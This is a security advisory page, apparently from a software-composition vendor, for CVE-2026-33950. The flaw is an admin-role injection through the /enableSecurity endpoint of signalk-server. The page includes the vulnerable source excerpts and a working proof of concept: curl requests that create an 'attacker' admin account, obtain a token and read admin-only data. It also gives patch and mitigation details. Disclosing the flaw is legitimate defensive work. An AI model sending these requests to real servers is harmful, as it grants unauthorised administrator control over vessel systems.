CVE-2026-33950 — signalk-server
CRITICALCVE-2026-33950 is a critical-severity (CVSS 9.4) CWE-285 vulnerability in signalk-server. A fix is available for signalk-server — see the affected versions and patch details below.
signalk-server: Privilege Escalation by Admin Role Injection via /enableSecurity
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33950.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33950 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
signalk-servernpmDescription
Summary
According to SignalK's security documentation, when a server is first initialized without security enabled, the /skServer/enableSecurity endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.
However, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the /skServer/enableSecurity route remains perpetually open.
Furthermore, the endpoint explicitly trusts the type field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.
Vulnerable Root Cause
File: src/serverroutes.ts (Lines 685-754)
if (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) {
app.post(
`${SERVERROUTESPREFIX}/enableSecurity`,
(req: Request, res: Response) => {
// ...
function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) {
// [!VULNERABLE] Passes the entire JSON request body directly to the security strategy
securityStrategy.addUser(config, request.body, (err, theConfig) => {
// ...
})
}
}
// ... No code disables or removes this route after first execution.
// The conditional check on Line 685 only happens during server startup,
File: src/tokensecurity.ts (Lines 980-994)
function addUser(
theConfig: SecurityConfig,
user: { userId: string; type: string; password?: string },
callback: ICallback<SecurityConfig>
): void {
// ...
const newUser: User = {
username: user.userId,
type: user.type // [!VULNERABLE] Blindly trusts the injected "type" field
}
Proof of Concept (PoC)
Simulate Legitimate Initial Setup: Send a POST request to the open enableSecurity route defining the initial legitimate admin account.
curl -X POST http://localhost:3000/skServer/enableSecurity \
-H "Content-Type: application/json" \
-d '{"userId": "admin", "password": "securepassword", "type": "admin"}'
Result: Security enabled
Inject Malicious Admin: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.
curl -X POST http://localhost:3000/skServer/enableSecurity \
-H "Content-Type: application/json" \
-d '{"userId": "attacker", "password": "password123", "type": "admin"}'
Result: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).
Verify Both Admins Exist: Login via JWT as the attacker and query the restricted users endpoint.
# Get Token for Attacker
TOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"username": "attacker", "password": "password123"}' | jq -r .token)
# Access Admin-Only Data
curl -H "Authorization: Bearer $TOKEN" http://localhost:3000/skServer/security/users
Result: The system returns both admin and attacker as active Administrators.
<img width="1205" height="469" alt="Screenshot 2026-03-24 145906" src="https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a" />
Security Impact
An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | signalk-server | all versions | 2.24.0-beta.4npm install signalk-server@2.24.0-beta.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for signalk-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update signalk-server to 2.24.0-beta.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33950 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33950 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33950. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33950 in your dependencies?
O3 Security finds CVE-2026-33950 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.